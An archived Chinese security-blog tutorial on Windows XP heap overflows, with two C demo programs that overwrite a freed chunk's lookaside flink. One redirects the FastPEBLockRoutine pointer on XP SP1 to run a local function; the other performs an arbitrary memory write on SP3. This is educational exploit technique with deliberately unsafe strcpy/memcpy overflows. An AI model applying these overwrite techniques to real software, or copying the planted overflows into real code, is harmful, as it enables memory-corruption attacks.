# 乌云归档：堆溢出学习笔记

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2014-05-02T06:48:00Z
Canonical: https://wepostx.com/topics/452

> 乌云历史资料归档
>
> **原始作者：** lxj616
> **原始编号：** superkieran-wooyundrops:237
> **原始发布时间：** 2014-05-02 14:48
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

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## 0x00 概述

本文从程序实例出发，展示了XP SP1下的堆溢出+代码执行，XP SP3下的堆溢出+内存任意写，主要面向{已经掌握缓冲区溢出原理，希望进一步了解堆溢出原理的初学者}、{就是想找个堆溢出例子跑一遍的安全爱好者}以及{跑不通各种堆溢出书籍示例代码、非得跑通代码才看的进去书的搜索者}
本笔记参考自：[http://net-ninja.net/article/2011/Sep/03/heap-overflows-for-humans-102/](http://net-ninja.net/article/2011/Sep/03/heap-overflows-for-humans-102/)
代码有较多改动，终于跑通了，并且试着简单地利用了一下。
按照代码阅读者视角 整理了讲解思路。
笔记只供初学者参考，并非严肃探讨堆溢出细节问题，若有不当之处恳请各位指正。

## 0x01 测试代码环境

```text
虚拟机： VirtualBox 操作系统: Windows XP sp1 编译器： VC++ 6.0 调试工具: 看雪OllyICE
```
其中，Windows XP 只能是sp1，因为sp2之后需要绕过其溢出保护机制 会使文章更加复杂。
如果您想要寻找xp sp3 下的内存任意写实例，请跳转0x09。

## 0x02 测试代码步骤

安装Windows XP sp1 注意，网上有很多sp2 不知什么目的写成是sp1，下面是真正的sp1 [http://pan.baidu.com/share/link?shareid=371613660&uk=1865555701&fid=2361791550](http://pan.baidu.com/share/link?shareid=371613660&uk=1865555701&fid=2361791550)
下载VC++ 6.0 绿色版 [http://pan.baidu.com/s/1kTLqYnd](http://pan.baidu.com/s/1kTLqYnd) 解压后运行sin.bat
下载代码工程 [http://pan.baidu.com/s/1kT5HRNp](http://pan.baidu.com/s/1kT5HRNp)
或者拷贝文中代码 自己新建工程

```text
#!cpp /* Overwriting a chunk on the lookaside example */ #include <stdio.h> #include <windows.h> void print() { printf("\nHello\n"); } int main(int argc,char *argv[]) { char *a,*b,*c; long *hHeap; char buf[10]; printf("----------------------------\n"); printf("Overwrite a chunk on the lookaside\n"); printf("Heap demonstration\n"); printf("----------------------------\n"); // create the heap hHeap = HeapCreate(0x00040000,0,0); printf("\n(+) Creating a heap at: 0x00%xh\n",hHeap); printf("(+) Allocating chunk A\n"); // allocate the first chunk of size N (<0x3F8 bytes) a = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10); printf("(+) Allocating chunk B\n"); // allocate the second chunk of size N (<0x3F8 bytes) b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10); printf("(+) Chunk A=0x00%x\n(+) Chunk B=0x00%x\n",a,b); printf("(+) Freeing chunk B to the lookaside\n"); // Freeing of chunk B: the chunk gets referenced to the lookaside list HeapFree(hHeap,0,b); // set software bp //__asm__("int $0x3"); printf("(+) Now overflow chunk A:\n"); // The overflow occurs in chunk A: we can manipulate chunk B's Flink // PEB lock routine for testing purposes // 16 bytes for size, 8 bytes for header and 4 bytes for the flink strcpy(a,"XXXXXXXXXXXXXXXXAAAABBBB\x20\xf0\xfd\x7f"); // strcpy(a,"XXXXXXXXXXXXXXXXAAAABBBBDDDD"); //gets(a); // set software bp //__asm__("int $0x3"); printf("(+) Allocating chunk B\n"); // A chunk of block size N is allocated (C). Our fake pointer is returned // from the lookaside list. b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10); printf("(+) Allocating chunk C\n"); // set software bp // __asm__("int $0x3"); // A second chunk of size N is allocated: our fake pointer is returned c = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10); printf("(+) Chunk A=0x00%x\n(+)Chunk B=0x00%x\n(+) Chunk C=0x00%x\n",a,b,c); // A copy operation from a controlled input to this buffer occurs: these // bytes are written to our chosen location // insert shellcode here printf("%x",print); memcpy(c,"\x00\x10\x40\x00",4); // set software bp //_asm int 0x3; exit(0); }
```
编译运行，运气好的直接就能跑，不过一般会如下图：

![原文图片](/media/2016/06/cd805688cbcbe716341f540844371bb1)

显示为：401005（0x00401005），然后修改代码中：

```text
#!cpp memcpy(c,"\x00\x10\x40\x00",4);
```
改成

```text
#!cpp memcpy(c,"\x05\x10\x40\x00",4);
```
重新编译运行即可，成功后如下图：

![原文图片](/media/2016/06/3aabcf7d94b311a018c426c602186a2c)

然后就可以开始正文了。

## 0x03 溢出的位置

之前我们给a从堆里分配了0x10即16个字节的空间

```text
#!cpp a = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
```
因此

```text
#!cpp strcpy(a,"XXXXXXXXXXXXXXXXAAAABBBB\x20\xf0\xfd\x7f");
```
发生了溢出。

## 0x04 溢出前发生了什么

```text
#!cpp HeapFree(hHeap,0,b);
```
把b free掉，然后b就会被放到lookaside list备用。

## 0x05 溢出后覆盖了什么

覆盖了b的freelist chunk结构。
（AAAABBBB覆盖了Headers，然后\x20\xf0\xfd\x7f覆盖的是flink）

![原文图片](/media/2016/06/2e56cea7ac2c889154e39af633b365b3)

## 0x06 溢出后发生了什么

```text
#!cpp printf("(+) Allocating chunk B\n"); // A chunk of block size N is allocated (C). Our fake pointer is returned // from the lookaside list. b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10); printf("(+) Allocating chunk C\n"); // set software bp // __asm__("int $0x3"); // A second chunk of size N is allocated: our fake pointer is returned c = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10); printf("(+) Chunk A=0x00%x\n(+)Chunk B=0x00%x\n(+) Chunk C=0x00%x\n",a,b,c);
```
先是从lookaside取回b （flink已经被覆盖了），然后再去分配c ，于是c被分配到了b的flink即我们的虚假指针处，之后就可以实现内存任意写了（写进c的内容就是写进虚假指针）

## 0x07 虚假指针指向什么地方

0x7FFDF000 指向 FastPEBLockRoutine() 地址指针 （XP SP1） 我们覆盖这个地址，这样一旦触发异常，就会去call 这个地址。
然后我们把print函数地址写进去，于是就会去执行print函数（显示Hello，Hello上面打印的是print函数的地址）

## 0x08 为什么非要XP SP1才能运行以上代码

因为SP1里面FastPEBLockRoutine()的地址是固定的，而SP2以后版本会随机

## 0x09 我就是要在XP SP3下跑代码，我不想下载SP1

那就用如下代码吧，不过就没法FastPEBLockRoutine()随意call 了

```text
#!cpp /* Overwriting a chunk on the lookaside example */ #include <stdio.h> #include <windows.h> int main(int argc,char *argv[]) { char str[]="\nHello123456789213456789\n"; char *a,*b,*c; long *hHeap; char buf[10]; printf("----------------------------\n"); printf("Overwrite a chunk on the lookaside\n"); printf("Heap demonstration\n"); printf("----------------------------\n"); // create the heap hHeap = HeapCreate(0x00040000,0,0); printf("\n(+) Creating a heap at: 0x00%xh\n",hHeap); printf("(+) Allocating chunk A\n"); // allocate the first chunk of size N (<0x3F8 bytes) a = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10); printf("(+) Allocating chunk B\n"); // allocate the second chunk of size N (<0x3F8 bytes) b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10); printf("(+) Chunk A=0x00%x\n(+) Chunk B=0x00%x\n",a,b); printf("(+) Freeing chunk B to the lookaside\n"); // Freeing of chunk B: the chunk gets referenced to the lookaside list HeapFree(hHeap,0,b); // set software bp //__asm__("int $0x3"); printf("(+) Now overflow chunk A:\n"); // The overflow occurs in chunk A: we can manipulate chunk B's Flink // PEB lock routine for testing purposes // 16 bytes for size, 8 bytes for header and 4 bytes for the flink printf("%x\n",str); printf(str); memcpy(a,"XXXXXXXXXXXXXXXXAAAABBBB\x64\xff\x12\x00",28); // strcpy(a,"XXXXXXXXXXXXXXXXAAAABBBBDDDD");0x71ac4050 //gets(a); // set software bp //__asm__("int $0x3"); printf("(+) Allocating chunk B\n"); // A chunk of block size N is allocated (C). Our fake pointer is returned // from the lookaside list. b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10); printf("(+) Allocating chunk C\n"); // set software bp // __asm__("int $0x3"); // A second chunk of size N is allocated: our fake pointer is returned c = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10); printf("(+) Chunk A=0x00%x\n(+)Chunk B=0x00%x\n(+) Chunk C=0x00%x\n",a,b,c); // A copy operation from a controlled input to this buffer occurs: these // bytes are written to our chosen location // insert shellcode here strcpy(c,"AAAAAAAAAAAA\n"); printf(str); // set software bp //_asm int 0x3; exit(0); }
```
也许一遍就能跑通，但是一般来说还是像下面一样

![原文图片](/media/2016/06/7f8936ce2e059a3337810c9804c22ecd)

老规矩，自己改代码（图中12ff64）0x0012ff64

```text
#!cpp memcpy(a,"XXXXXXXXXXXXXXXXAAAABBBB\x64\xff\x12\x00",28);
```
注意里面有\x00，所以我换用memcpy了，成功后如下图

![原文图片](/media/2016/06/4ef37fb829b0c620e905462cd80b9f53)

那么，这段代码展示的实际上是内存任意写（没有call anycode的利用），只是把任意内容写到了str里面，即free(b)，再用str地址覆盖b的flink，然后取回b，然后分配c，c被分配到了str地址，然后向c里面写AAAAAAA，然后就写进str里面了。

## 0x0A 结语

个人观点：尽管看到这里读者仍然只是似懂非懂地{大致了解堆溢出的原理和过程}，但是起码有了一个基本的概念，对以后深入研究其机理 奠定了兴趣基础，并且对于{只是好奇的爱好者}来说，涉猎这些也就够了。
建议有兴趣的朋友们去看看heap-overflows-for-humans-102 原文，里面有很多基础概念的讲解，本笔记仅为学习时的记录，并非严肃翻译原文。

## 0x0B reference

[http://net-ninja.net/article/2011/Sep/03/heap-overflows-for-humans-102/](http://net-ninja.net/article/2011/Sep/03/heap-overflows-for-humans-102/)
注：本文代码基于此文章修改，改动较大。
《C和C++安全编码》

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